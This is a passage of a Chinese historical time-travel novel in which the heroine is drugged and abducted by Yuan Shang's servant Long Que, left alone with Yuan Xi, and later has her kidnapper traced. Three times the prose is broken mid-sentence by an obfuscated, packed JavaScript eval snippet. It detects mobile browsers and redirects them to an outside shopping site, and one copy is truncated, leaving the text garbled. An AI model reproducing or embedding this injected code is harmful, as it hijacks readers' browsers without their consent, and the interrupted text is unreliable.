季蘅面上无动于衷,心里却激动地琢磨:自己看了这么多年的《三国演义》,勉强也算半个季汉粉吧,我就拿着这些资财入股刘备集团!现下皇叔还很落魄流离,烧好这个冷灶,来日定然前途赫奕! 蚊子腿也是肉,更何况雪中送炭,大小当一回天使投资人,最后能跑到成都安度余生也是极好的——请问,汉代的食铁兽能否当宠物豢养? 绫戈好奇瞥了眼单子,在旁感叹:“这么多嫁妆呢,也不知哪家公子有这个好福气。” 闻此,季蘅忽觉扫兴,把册子重重一合,使令丫鬟收好。 又巴前算后,蜀地遥远,路途艰险,总不能大摇大摆从邺城运走几箱珠宝,恐怕刚出冀州就该被抢光;若直接购置马匹粮草,招募兵勇,整出一支正规军来,别的不说,这些钱便不太够了…… 见缦双适时奉上一盏败火的红茶,她愉快地接过,抿了口,然后交代:“你记得明早差人去趟襄玉坊,请丹沛有空到咱府上说话,是正事,生财有道的要紧事。” “诺。” 听到襄玉坊和丹沛的名字,正收拾衣笥的细宝不由撇过脑袋:“说来,您也好久没过去玩了,是怕又遇着熟人?” 季蘅乜斜着眼,略娇嗔地瞪了她一下:“我怕什么,东西都还了,话也说开了,从此互不相欠,只剩坦荡。” “哦,可奴婢说的是尧郎君他们……” “你这丫头,越发了不得,如今还敢拿我逗趣儿。原是少罚你了。” 细宝轻轻拍了下自己的嘴巴,却还在偷笑:“好,这次不敢了,但难说再有下次。” 这几个贴身丫鬟打小就跟着季蘅,时间久了,高低都有些心直口快,她们偶尔偷偷懒、顶顶嘴,其实无伤大雅,很多时候也就睁一只眼闭一只眼。 可唯独拿袁熙打趣自己这事上,季蘅非常别扭,黯了眼色,佯作可惜,叹道:“正好过两天,善印约我游山祈福,近来本就无聊,我已应下了。想着那种虔诚之地,肯定是带上缦双、红枭她们性子沉静的为好。而阿宝你太过巧舌如簧,就留在这儿看家护院吧。” 这可难受坏了爱出门、爱凑热闹的细宝,她最是闲不住的,一听,连忙认怂:“奴婢错了!娘子,细宝知道错了!” 凑近讨好的速度之快,令其余几个都忍俊不禁。 季蘅有些恨铁不成钢地戳了下对方的脑袋:“开眼了,还总说卢宽没骨气,我看你可不比他硬多少。” “是,奴婢只是脸皮子厚硬,再多嘴,就自个儿跑到仓室,把那坛老陈醋都喝光,等牙齿掉光。” 绫戈笑得不行:“娘子千万别信,阿宝姐最爱吃醋了,昨晚为了那一调羹的醋,特意脍了半斤鲤鱼呢。” “你这厮好生忘恩负义,昨儿就我一人吃了,你们没沾?” …… 嬉戏声总在这屋里此起彼伏,季蘅低眉浅笑,任由丫鬟玩闹。 自打进了邺城,虽说插曲不断,但调子终究还是舒缓的。 她安然等待命运降临,就像温水里的那只青蛙,快要在幸福中变得麻木不仁了。 又过了几日,女孩们如约登临妙云山东麓,除却马夫,只各自带了一名丫鬟随侍。 细宝迟来的服软无用,季蘅留她看家,最后择了沉心静气的红枭相陪。 秋高气爽,好心情似乘着风,融入无穷无尽的茫茫山色中。 那层林尽染的群山,立于巍巍山巅之上的峰丛,一草一木,一石一水,季蘅看什么都欢喜。 穿越后,她虽尽力融合,仍察觉到自己是不一样的,与这个时代显得格格不入,无论思想、习惯生活方式…… 只有在这远离尘世、鬼斧神工的大自然里,她才能真正放松下来。 譬如眼前这抹深深浅浅的枫林,很容易叫人想起老家院子里那一株,春去秋来,相隔千年,却没有太大的差别。 善印瞧那兴奋劲儿,免不得笑道:“你倒是真来看景的,几丛丑石头也能叫你兴致勃勃?” 山腰上有座西王母的祠宫,此行便是陪善印过来祈福,求的无非男女相及、子嗣绵延和长寿健康。 季蘅并不多迷信,但耳濡目染久了,也开始心存敬畏,正好长时间没出门,想着也来拜一拜,不求灵验,但求心安。她晃了晃刚在路边捡的一条修长光秃的树枝,念道:“这就叫,原天地之美,达万物之理。①” “少跟我诌些没用的。都是快及笄的人了,怎么还像个少教的稚童?什么都乱捡,脏不脏啊?”善印笑嗔,不忘说起正事,“别再闹了,偷偷告诉你,这里求姻缘特别灵。” 季蘅一时没反应过来,反问:“你不都和高柔订亲了吗,还求哪个的姻缘?” 不知是走累了,还是被她气得够呛,善印差点一口气没提上来,缓了缓,大声斥道:“我求什么姻缘,你这小混帐求!” “其实,我更想求财。” “真叫你掉进钱眼里了?往后就抱着那金锭银锭的浑过一辈子吧!” “这就是善印你没想通了,若是都求姻缘,单我一人求财,西王母她老人家定会把我记下,记得牢牢的。你刚才的祝福我收下了。” 季蘅得意笑了笑,那样美丽的容貌,那样生机盎然的姿态,好似春日映在水天边的灿金朝霞。 直到拜神的那瞬间,她捻香低颡,再找不见方才半分嬉皮笑脸,顿时显得很谨慎,像是被什么扼住了咽喉。 满脑子都是“活久一些”与“顺利回家”的碎碎念,倒也忘记关心什么钱不钱的。 两位诚心拜完后,又撇下侍从,携手去往后山转了转,听说附近的山茶开得甚旺。 “还是山里好,冬无严寒,夏无酷暑,与世隔绝,更少了许多烦恼。” “白天倒还好,我就怕这夜里,窜出什么豺狼虎豹。”善印说,“方才不知什么玩意忽然啼叫了声,像小孩子扯着嗓子哭似的。听多了我发怵。” “若叫我一个人长久住下去也不行,箪食豆羹,喂马劈柴,没几天就闹着要回家了。”季蘅也很坦诚,她到底是四体不勤、五谷不分的,那种枕石漱流的清贫生活过上一日两日也罢,时间长了,自己必定受不住;说着说着,转眼又瞧见样稀罕的,“诶,这对并蒂长得甚好。” 善印正欲应答,她的贴身丫鬟竹晴不知何时疾步过来了。 “娘子!” “出什么事了?” 竹晴满脸喜悦,贴在她耳边,说了句小话。 见两人仍止步原地,走在前面的季蘅不由回头问:“怎么?” 善印眉目流转,竟添上一抹羞色。 竹晴笑了笑,得到自家娘子的首肯后,才答:“当是这样巧,高郎君今日也在这边游玩,想偷偷与我家娘子见一面。” 下个月两人就要成亲了,按说不该轻易私会的,可男女情好,总是抑制不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187985|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 季蘅了然,只说:“去吧,我待会儿在山下等你。” “嗯,我去去就回。” 她又莫名觉得蹊跷,高柔一向勤勉,少见他外出游玩,于是随口问:“高郎君今日是一个人来的?” 远远的,竹晴答:“山上有座袁家的宅子,今日来了不少人,郎君们约莫在那里高谈阔论。” 话音未落,主仆俩就已走出这片林子了。 许是正值秋寒,一向胆大的季蘅忽有些寒颤发怵,她望了眼山林深处的幽景,直觉甚是不妙,最后也选择了返程。 这时,几只啼唤的鸟儿划过她头顶的半壁天空。 “啊——” 不知从何处窜出的一道黑影,拦腰擒住了季蘅。 她被突如其来的变故吓得瞪圆了眼睛,却再呼救不出声。 有张布满老茧的大手,正用浸湿曼陀罗散的罗帕,紧紧捂住她的口鼻,使其变成砧板上濒死的鱼,无力扑腾着。 那“黑影”的体型与成年壮汉无异,只觉怀中女子敷衍地挣扎了几下,就立即昏迷过去,正有些发懵,纳闷这药效竟如此之快。 “龙雀,”不远处,幕后的始作俑者却已现身,“把人带到西后院。” 欺天的蠢货!干坏事居然还敢直呼大名,真是没半点当“绑票匪”的觉悟……季蘅心里嘀咕,并默默记下那个名字。 她算是机灵的,察觉力量悬殊后,立即装晕,避免受到更重的伤害,先静观其变,万事保命要紧。 听声音,对面施令的主人应是名年轻男子,音色偏清亮,乍起首似乎有些陌生,但琢磨久了,又隐约感觉以前在哪听过他说话。 名叫龙雀的“匪小弟”安稳扛起了装晕的季蘅,默默跟在其主身后,很快他们来到了一个竹林深处的房间里。 “好了,搁这吧。” 就像安置一样贵重的物件,季蘅被顿放在软塌之上,那人的动作很是舒缓小心。 年轻男子又发话:“闭紧你的嘴巴,下去领赏吧。” “是,小的明白。” 这声线虽粗砺,却不难听出来自女子…… 龙雀微微抬头,半边脸的红色胎记实在有碍瞻观,她在揖礼时,匆匆窥看了榻上的美人一眼,而后阖门告退,不禁暗自惋惜,正如水满了会溢出,这样多余的美貌果然就引来了祸端。 直到行至廊下,她注意到自己的右手背有两道血痕,应该是那女子适才挣扎时,用指甲狠狠挠的。 没想到看似弱不经风的小姑娘,跟受惊的野猫一样爱挠人,可这又如何,往后多半也没有交道,就算再见了,恐怕也认不出自己……龙雀只如蜻蜓点水般短暂地感慨了一下,便继续自己的路。 未料还没往前走几步,忽又踩到什么硌脚的玩意,想当碎石子蹴开,偏叫她低头多瞥了一眼—— 竟是粒成色极佳的珍珠! 出入这宅子的纨绔有不少,掉些好东西也不稀奇。 今日真是运气好发财了,龙雀连忙弯腰捡起,眼睛也忍不住一直盯着地面,没想到走了大约五步路,又发现一粒。 这时她的脸色已经从喜悦慢慢变成了困惑。 地上的珍珠倒像是有意为之。 她顺着来时的路,仔细勘探了一遍,每隔几步,竟就有一粒,直至出了这院门,不由严肃地屏气默揣:难不成那美人刚才是装晕,偷偷掐断了自己的珍珠手链,在他们来时的蹊径上,扔了一路?想着往后寻来报仇?或是等人来救…… 龙雀回首望向那间屋子,心里隐约有些不是滋味,默默自我安慰般念叨: 可惜啊,这美人再机灵也无济于事,看上她的是袁家公子,整个河北都无人敢惹,哎,早些认命才是。 36.迷晕 “待会儿弟弟要送给兄长一样珍宝似的礼物,定叫你喜不自禁!” “当真有礼?还以为你方才是抖机灵故意给我个台阶下,乱诌的由头。” 这几日袁尚莫名心血来潮,平白聚了一堆文人雅士在东麓别馆吟诗作赋、把酒言欢。袁熙本就烦闷,还被硬拉来掺合,听堆没意思的大吹大擂。 “我可比不过子京,他说短论长,好厉害的一张嘴。” “倒别嫌人家烦,弟弟我特意安排在此游宴,可都是为了你!” “到底是什么?” 袁尚耐人寻味地笑了笑:“勿要着急,等兄长亲眼见到,便该明了,届时再感谢我也不迟。” 手里还托着紫檀棋罐的袁熙不禁睨向他,半信半疑:“怎么连你也开始学起卖关子了?” “只管随我来!” 转眼间,两人行至一处偏僻清幽的雅室,袁熙打量了周遭几眼,有种不详的预感:“好的也罢,千万别给我惊吓。” “不会的。”袁尚笑吟吟打开门,并夺走他手里的棋罐,“兄长先请。” 袁熙有些迟疑地进了屋,才刚过屏风,隐约瞧见有一身着月白长裙的年轻女子横躺于软塌之上,似乎不省人事。他心头一紧,连忙转身,质问弟弟:“荒谬!你这是做什么?” “诶,兄长且细看是谁,再骂我不迟。” 被袁尚推着继续往前走,他不情不愿地回头,只肯挪近半步。 定眼一瞧,那榻上之人,正是甄家的五娘。 “这——” “礼物啊。”袁尚显得洋洋得意,“如何?兄长,这人我可想法子给你弄来了,莫如先将生米煮成熟饭,纵使最后没法皆大欢喜,也能让你尝尝新鲜啊。” 却见袁熙涨红了脸,是羞,更是怒,登时拂开对方的手,哑声大骂:“袁尚!你当真糊涂了心窍,胆敢冒犯……” 袁尚那张明眸皓齿的脸,此刻却露出猥獕的丑态,打断道:“弟弟我不过顺风吹火,真正冒犯的事,还得留给兄长您亲自干啊。” “简直胡闹!”袁熙瞪目,几乎压着嗓子吼道,生怕把人吵醒,到时候自己有几张嘴也解释不清楚了,那才叫彻底完蛋,“我即便不是君子,也断不会使这般下三滥的伎俩!快将甄娘子送回……” “好好好,”袁尚只当他脸皮薄,一时恼羞成怒,于是饶有兴趣地笑着,“随兄长怎么骂,我都受着,反正人已经给你送来了,一时也还不回去了。现下该如何,你就自己看着办吧。弟弟先行告辞了。”说完,便得意地拂袖而去,顺带还关紧了外门。 留下袁熙杵在原地,不知所措地涨红了脸,若说完全没有半点逾矩的想法,那很虚伪,好在只是转瞬闪过,就被他摇摇头晃远了。 窗子半掩着,忽有一对鸟儿掠过外边的竹影,只留下簌簌余声。 他走到临窗的案几旁,想找茶壶,往干燥的喉咙里灌点清凉,努力让自己平静下来。 考虑到此情此景如被外人瞧见了多有不妥,袁熙顺手关上了窗,可这一声吱嘎,敲响了他昏沉的脑子,又拨动那蠢蠢欲动的心弦。 他还是忍不住多望了几眼,梦寐以求的女子,就纤弱无助地躺在那里,心里难免酥痒,不知不觉竟走到了榻边,缓缓坐下。 头回瞧见季蘅睡着的模样,当真美若神子,那白润的肌肤、泛红的脸颊、一点绛唇……乌黑的发有些凌乱地搭在起伏的胸前。 “弥儿。”他喃喃唤了几声,然后鬼使神差般伸出手。 闭目假睡的季蘅只感觉男子坐在了自己身旁,她没应答,也实在不敢贸然醒来,只好等待一个没那么尴尬的时机。 未料袁熙着了魔似的,用指背温柔地摩挲榻上女子的脸颊,小心翼翼,并欲将一直往下,他微微垂眼,快有些把持不住了。 正当要拨开衣领,触到锁骨时,他不住颤栗了一下,恍然清醒过来,立刻收回了手,狠狠掐疼自己。 混账!究竟在痴想些什么,险些铸下大错,以后哪还有脸再见甄娘子和她的家人! 袁熙重呵了声浊气,按捺住快要喷涌的欲念,羞怩地起身逃离。 等确凿没了动静后,季蘅才缓缓睁开眼,下意识捂住砰砰乱跳的胸口,心有余悸。 好险,好险……幸亏这袁熙还算有底线,最后没有趁人之危。 她摸了摸发间的簪子,实在有些后怕: 怎么会发生这种事,往日是自己太过掉以轻心、不知深浅了吗? 倘若今日来的不是袁熙,又或他实则是个色迷心窍的卑鄙小人,那该如何? 这银器够不够锋利,一簪子往太阳穴用力扎下去,对方不死也能昏过去吧? 又或是装晕,假意顺从,以后找机会再以牙还牙,报仇雪恨…… 想着想着,季蘅慵懒地眨了眨眼,打了个哈欠,居然发困了,或许曼陀罗散到底起了点作用,或许紧绷的神经终于放松,慢慢的,她想偷眯一会儿眼,最后竟沉沉睡去。 又不知过了多久,一阵巨雷訇轰,大雨倾盆而下。 屋内的季蘅被惊醒,她慌忙睁开眼,身上已盖着一件黑狐皮的大氅,初时对这陌生的环境甚意外,还以为自己又穿越了,然后才慢慢想起来,是被迷晕了掳来的。 身上衣服完好,也没有特别的疼痛感,她安静躺了一会儿,听得雨声淅沥,好像快停了,脑子也终于清醒不少,趁那些细节还没淡忘,紧着思忖复盘: 方才出手绑架自己的壮士似乎名叫龙雀,挣扎时,顺势用指甲划破其手背,却不知那几道红痕能保留多久,还有那故意遗落在外的珍珠粒;听声音,能确定她的主人是袁尚,也就是组织今日傻缺绑架的幕后主使——呵,这位大名鼎鼎的三公子可真够阴损的啊,尽使些上不得台面的招式,对付一手无缚鸡之力的女子!难怪袁谭他们都不服气…… 季蘅已经想暗中勾结兖州方面了,与其让河北未来归属如此低级的主公,毋宁早点落入曹操之手。 等会儿,老曹家在男女关系上也挺强制爱的,况且失宠后的生还系数更低…… 气得她冷哼了一声,竟有些无奈想笑。 好嘛,怎么走都是穷途末路,老娘的康庄大道呢!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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季蘅敛起目光,说:“我该回去了。也不知睡了多久,我家丫鬟估计要急坏了。” “我这就送娘子回甄府。”袁熙忙跟着起身,“不用急,三弟已经跟她们说了,你在我这品茶赏花,正遇上落雨,也有个久留的说法,不会辱没甄妹妹你的清誉。” “哦,他倒想闹得人尽皆知?” “他……” “北边的公孙,南边曹氏,他还有你,都该将心思放在正途上。”季蘅揣着袖子,端走在前面,与袁熙说话时,她稍稍侧了脸,光打了半边的阴翳,使其瞬似个法相庄严的神塑。 明明是个比自己小五岁的女郎,袁熙瞧着,竟冒出些敬畏之心,不敢不听进她的话。 直到她又说:“袁公子,我只问你一句,还有下回么?” “不,不会的。”袁熙心存愧疚道,这件事虽非自己筹划,到底因他而起,愧疚道,“今日叫你受惊吃苦头了,喜欢什么、想要什么,我都买给你赔罪。” 这个人真是呆串了皮,傻乎乎的。 季蘅有些无奈,她自然知晓单单袁熙的承诺只能保个心安,坏脑筋的是其弟袁尚,也不知那混球正在外面会编出什么难听的闲话…… 今天的雨来得快,去得也快。 正好两人经过一片开得茂盛的山茶花,她瞧了眼红白相间的美景,忽而说:“是啊,既然我受邀来袁家的别园做客,怎好悄悄摸摸,空手而归。” 37.绯色 当季蘅抱着一把带露水的山茶花,被袁熙扶下马车时,甄府的阍侍哆哆嗦嗦,吓得差点把中门打开了。 带点儿绯色的消息总传得很快,原本还在堂前担心踱步的薛婉不由站定,朝着西面,双手合十拜了三拜,感慨道:“了不得了,这王母娘娘当真灵验,刚求了姻缘,山都还没下,两人就凑到一块了。好极,有空我也去敬敬香。” 甄尧却很困惑,没显得多高兴。 今日的怪事是接二连三,比方他午前有公务要找高柔商议,却头遭扑了个空,说是人已经被袁尚公子请走了;当时就奇怪,那两位原是不太对付的,甚至吵过嘴,竟还能因为玩乐而相伴出游? 以及妹妹和袁熙,不过求个神的功夫,怎就出双入对了,那两抬箱子还在他库里搁着,连灰尘都没来得及落。 墨汁滴破了那昂贵的白纸,他愣是半个字也没写成,不由皱皱眉,瞥了眼异常兴奋的夫人,终于恢复往日的神情,轻哼一声:“你也求姻缘?” 薛婉懒得跟他顽笑,已经在遐想与汝南袁氏结为亲家的好日子了,往后出门,能更挺直腰板些:“不错,我定要卖力求一求诸方神明,将你妹子和大贵人绑得死死的,比那菟丝松萝还纠缠!” 人都是拜高踩低的,若能攀上袁氏的高枝,家里也都好借一借风光。只是他们清楚季蘅的脾气,再偷乐也不敢多嘴相问,今日到底发生了什么。 夜深了,细宝仍痴痴望着书案前摆在瓶子里的山茶花,脸都快笑僵了,她自知不太会讲话,生怕开口又惹嫌了娘子,便朝另一旁绫戈不断使眼色。 未料季蘅忽抬手,严肃道:“细宝,你门道多,这几日帮我查一个名叫龙雀的女子,身份越详细越好。” “啊?” “没听清么?当是读作这两个字的,也可能写法有所偏差。” 细宝不得不接下那木牍,反复瞧了瞧,有些失望,却也只能硬生生咽下心里的一堆话,吧嗒着干瘪的嘴:“这是?” “应该是个高大强壮的、会些功夫的女子,手背上有伤痕,没有也不要紧,就不知几日能痊愈……”季蘅琢磨着,“总之,她与袁尚有关,也许是身边的侍从、护卫,或者死士什么的,最近惹了事,可能露面不多,不过他们蠢得很,约莫没那个顾虑……反正你先着手查一查,要悄悄的,千万别让旁人知晓。” 东一榔头,西一棒槌,细宝听得云里雾里:“怎么还跟袁三公子扯上关系了啊?” 季蘅不由抬头望了眼:“不愿意?” “没有。”虽说细宝总盼着娘子能与袁熙喜结连理,自己成为丫鬟中的大丫鬟,好不得意,可哪敢再多肖想一个袁氏公子!她是欲言又止,身子凑在案前越发忸怩,“就……” 季蘅倒是看出她在这捕风捉影了,是一丁点儿机会也不想给:“那你下去歇息吧,我不急。” 细宝只得重重叹了声,答:“诺。” 一旁的缦双其实也有话想问,倒不是在乎那些情情爱爱,之前娘子去沐浴的时候,就把她今日穿戴细致地归置了个遍,觉出些不对劲。 上山拜神,履底泥多也罢,可这衣裳怎么还扯破了几处,却不像被树枝灌木勾坏的那种。 但琢磨半天,最后只问:“您今日出门戴的那条珍珠手串怎么不见了?” “丢了。” 见娘子几乎脱口而出,甚至无半点惋惜,缦双若有所思地点了下脑袋,而后笑道:“都怪奴婢没找到更结实的绳串好,之前明明断过一回了,却没长记性。” 季蘅倒不能直说,是自己一时急性,为留记号而用力掐断的,虽然最后也没能派上用场,白白浪费了。 她糊弄道:“只能说我与这串珠子无缘,再补救多少次也该无济于事,不属于我的东西,总归是要失去的。” “也不是什么贵重的、要紧的,旧的不去,新的不来。”缦双安慰了几句,又说,“方才听娘子说什么护卫的,奴婢也想着,如今世道不安稳,走投无路的人太多,难免行险,兔子被逼急了都咬人。您又常外出,不若聘请几个靠得住的护卫随从左右,也安心些。” 这话说到季蘅心坎了,尤其经此一遭,她怕是更忌惮出门。 细想,若今日碰上的不是袁熙,或者他也是个没底线的顽竖,这事恐怕要往大了闹。 “在理,你抽空相寻几个靠谱的,知根知底最好,我们再一块磋商。” “是,奴婢一定上心。” 缦双可不止操心这个,睡前她还偷问红枭,今日拜神究竟发生了什么,对方把知道的都一五一十答了。 “既然巧遇了袁熙公子,怎么娘子就只身一人去喝茶了,连你也没带上?” “姐姐难得糊涂呀,这样的事,我们做奴婢的往前凑算怎么说。”红枭却笑道,“我当时与辛家的竹晴都是在外边守着。只不过她娘子聊了一会子便回来了,我还是被袁家的小仆告知,说五娘子与袁二公子聊得甚投缘,同往南面的宅子喝茶了,后又遇上了大雨,就待得更久些。” 都这样说了,旁人也不好再质疑什么,缦双便也笑笑,没有多问。 又过了几日,是廿五,白楚夫照例来甄家弹琴,他性子直率,倒一点也不掩饰,当面就是:“恭喜小娘子了。” “我何喜之有?” “您还装傻充愣,想要瞒天过海呢?外头早就传遍了,说是甄五娘子与袁家二郎都开始商议亲事了。” 时气渐凉,季蘅已经裹进厚厚软软的皮草里,她正捧着热茶,嗅了嗅,并不是很在意,平和道:“又是哪些个嘴碎的在乱编故事,至多那日与他乘了同一辆马车回家,再无瓜葛。” “一开始是有不少流言蜚语,也不知最先从哪里传出来的,说瞧见了娘子与袁家郎君在妙云山无媒苟……够够的了,反正什么羞人的词都有。后来,见袁二公子亲自送您回府的,才知道原是他家办了赏花私宴,将风传稍稍平息。可没几天,袁三公子又出面,一本正经地同诸位讲,那宴就是为你俩办的,哦,他的侍从还说漏了嘴,袁甄两家的喜事快成了。” 袁尚这缺德的王八羔子,该他操心的不操心,不该他的竟跟个狗皮膏药似的硬往上贴,惹人厌烦。季蘅默默骂了句,然后抬高下巴颏儿,有些傲慢:“谣传,当真闲得慌。” 白楚夫略意外:“既为谣传,合该自证清白。那假话传多了,旁人自然而然就信以为真。众口铄金,积毁销骨。若来日二公子娶的不是您,难说他们再怎么瞎编排。女儿家家的,怎么都不在意自己的名声?” “我懒得自证,也没法自证,即便解释了,又有多少人能听?信或不信,也全凭他们个人的想法,强求不得。再者,名气差未必是件坏事啊!”季蘅只觉好笑,“正如虱子多了不怕咬。往后我要真做出什么出格的,众位看官也只会平静地说,瞧,果然是这样的女子。相反,倘若之前一直美名在外,他们不光侈口,甚至还会感到愤怒,痛骂虚伪,原是假仁假义、两面三刀的庸愚!” 歪道理大家都懂,听起来强词夺理,却也难反驳。白楚夫不由词穷,而一旁的孟觉苦则默默微笑,他早认命了,永远不要与季蘅争论,哪怕以为占理,最后总会被那丫头独具一格的论调堵得哑口无言。 至于季蘅自己,掰扯这么多,并非为了逞口舌之快,还有一点原因她没好意思说,万一历史实在改变不了,这会儿站出来辟谣,来日岂不是要被打脸?人还是要给自己留点退路。 她最近都无心玩乐了,把袁尚牢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204686|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牢镶到了讨厌名单的第一排,趁这几日袁熙还心存愧疚,兴许能给甄家争取到点儿补偿;但依照如今的形势,若还想狠狠教训袁尚那个混球,无异于以卵击石,让他尝尽苦头、为自己愚蠢低级的计谋买单,更是难办…… 权力,才是真正的护身符。 君子报仇,三四五六年都不晚,且先忍忍吧,以后有的是机会落井下石! 婢仆送走白楚夫的时候,薛婉和邓端正一块去老夫人屋里商讨立冬卜岁的事宜。 薛婉远远瞧见这个颇有姿色的优伶,有些忧心忡忡:“从前如何肆意我管不着,现今再这样无所拘束,怕是要出差错的。” 邓端掩面虚咳了几声,也收回了目光:“五娘是个知晓轻重的聪明人,她打小心里就明断,三纲五常,未敢离叛。” 不提还好,这一提,薛婉反而有些疑忌了:“她不敢吗?” 于是晚些时候,季蘅刚用完膳,脸还没擦干净,就瞧见亲三嫂大驾光临了。 “诶,你坐着、坐好了,不用管我,自在些为好。”薛婉笑得居然有些拘谨,“早晨和施夫人聊天,说起辛大娘子的婚事。我这忽然就想到了你。” “是,腊月里我的笈礼也需嫂嫂操持,辛苦您多费心。” 见季蘅开始装傻敷衍了,薛婉这次再无意依顺,又怕被她带偏,连忙吩咐丫鬟将那卷书托出:“这是曹大家的《女诫》,辛娘子最近待嫁,就待在闺中誊抄静心,想着你最爱看书,有空也多看看这个,早早研习一些夫妇相守之道,不是坏事。” “是。”季蘅没想多嘴辩驳,只乖巧接下。 薛婉便心满意足地颔首:“再过个把月,你就要及笄了,长大了,再不比那不谙世事的小孩子。无论外头的琴师,还是家里的奴仆,理说都该避一避嫌,对不对?” 旁的要求,季蘅还可以装一装,混过去也就罢了,现下又来干涉自己交友,委实让人有些不爽,她盯着那颇具文采却又乌烟瘴气的字句,故意问:“阿嫂以为这《女诫》说得如何?” “人家写给自己女儿的私书,必定字字肺腑。况且还是从宫里传出来的,娘娘贵人都看过,世家贵女争相传抄,岂非经典?” “是,班昭博学多才,入东观,续写汉书,确乃女子典范。而此书大约是假托女儿之名,为宫廷女子所写,以防外戚擅权,矫正时弊。倒没成想,如今被别有用心的,拿去民间给百姓自我规劝了。” 薛婉越发听不懂她的意思,只敷衍道:“这些东西你二嫂读得多些,我少学,打小就不喜欢读书写字。” 身处颇有先秦遗风的汉末乱世,在男女关系上也不至于明清那样封建,有时季蘅的落拓不拘,他们其实并不多加理睬。 而从古至今,祖宗家法倒是一直不可违的。 所谓打蛇要打七寸,季蘅接着唬说:“书的内容还是其次,今日提到班大家,我才忽然想起,她的大父与咱们甄家还曾结过梁子呢①。我也念儒术,深知孝为五常的根本。既然两家素来不睦,如今岂能再学班氏的私书?莫如各退一步,阿嫂陪我品读其女妹曹丰生驳难《女诫》之大作?” 薛婉果然半信半疑,说:“哎,不想看就不看,几千字罢了,哪冒出来怎多杂七杂八的纠葛。你这张嘴啊,只有叫别人吃亏的份!” 她一时没想透,到底是败下阵来,没寒暄几句,就悻悻回到自己院子。 听完妻子的诉苦后,甄尧轻蔑一笑:“如今便是天王老子说了小妹不爱听的话,也能被她钉上几颗唾沫星子。你还是学学我,消停会儿吧。” 薛婉倒调理得快,没多久又笑盈盈道:“袁二公子再不济,往后也能当个一州之主,五娘随之平步青云,叫那些天王老子让一让又何妨?” 38.龙雀 天刚蒙蒙亮,鸡鸣三声的时候,武魁院后院的西偏房外已经有人在劈柴了,是熟练地一斧子下去,利落绽开两半。 丫鬟盼枝打着哈欠掀开布帘,往外头泼了盆热水,然后招呼她:“哟,雀儿,这么早啊。” 龙雀松腰,沉了沉扎实的马步,朗笑应道:“我一贯如此,趁早打熬筋骨,倒是盼枝你近日够勤快的,再没见过睡懒觉。” 对方却不由叹了声气:“谁叫咱们公子新纳了房挑剔多事的祖奶奶,还得辛苦我伺候,若是醒来见不到人奉茶,又不知要发多大的火呢。” 只有这种时候,龙雀会庆幸生了张寝陋的脸,全凭自己如刀锋般锐利的功夫本领,才被袁尚留在身边。 “是哪个?我可曾见过?” “以前女君房里端茶递水的,本家姓陶,俗名唤作春幡,挺会来事儿的人物,前阵子被赏赐给了咱们公子,如今偏得尊称她一句陶姬了。”盼枝艳羡道,“同是奴婢命,却各有不同的际遇,到底是我前世积少了福,才难翻身。” 抱怨归抱怨,叹完气,便乖乖回屋换衣服,着手伺候人了。 龙雀待在冷风中纹丝不动,低头瞥见手背隐约的红痕时,忽就想起那个被掳去东麓外宅的美人,不由生出几分愧疚之感。 也不知公子如今把她安置在哪,待她好不好;可自己生而为奴,对主人该唯命是从,万事反抗不得,何况家中姐姐的顽疾,还需多银两。 “哎,莫要怨恨我,”龙雀运力劈断了眼下那截粗木头,喃喃自语,“便是无我也会有别人做,怪只怪你生得太美,招惹了三公子,命中有劫……” 冬月十六,城中有喜事,高辛两家结姻亲。 袁尚自也早早收到了请帖,只不过他今晨被侍仆提醒,才想起这日子,不慌不忙地喊新宠陶姬陪着选了贺礼,昏时再随兄长到高府喝酒。 这便用不着龙雀护卫了。她得闲,想回家看看休养在床的阿姐。 “称三两老参。”上次替公子办事,拿了笔不菲的封口费,现下在药铺里,腰杆子都挺直些。 说来也巧,这间铺子的东家正是谢容允。他刚选了几样名贵药材,亲自提去了甄府。 “满邺城就没什么姓龙的,袁府那叫龙雀的丫鬟,本家姓夏,四时夏,是谓——夏龙雀。” 细宝自打领了查人的差事,没少跟袁家的侍仆婆子打交道,那些都是人精,光吃不吐的。 “不过袁府后院几乎是铁桶一块,滴水不漏,我也没敢多问,怕人起疑。” 午后,季蘅正待在自己院里,准备参加喜宴,她想着尽量低调,衣装首饰都往清丽淡雅的选。听细宝禀告完,她递去一根足金簪子,权当打点所用。 “那外边呢?夏龙雀家里又是个什么情况?” “容奴婢再去查查。” “不急,开春前办妥就行。”季蘅对镜子里未施粉黛的自己十分满意,眼眉中还透着几分稚嫩的英气,更适合抢走新娘子,于是站起身,“走吧,时候不早了,等会儿三嫂又该催我了。” 见娘子欲往外走,细宝连忙跟上侍奉,边说:“倒还有一件小事。” “何事?” “奴婢方才在彤园和采湖那条路上碰见了颍川的谢先生。” “谢容允?”季蘅果然一横眉,有些兴趣,“那条路却是去书斋的。” “是,听说他和孟家侄儿也有交际,这次特意送了些药材来。” 孟觉苦一入冬就开始显虚,连着几夜咳嗽不断,最近喉咙都快咳哑了,恐怕还见了血。谢容允是为数不多知晓他真实身份的,对他殷勤些也不奇怪。 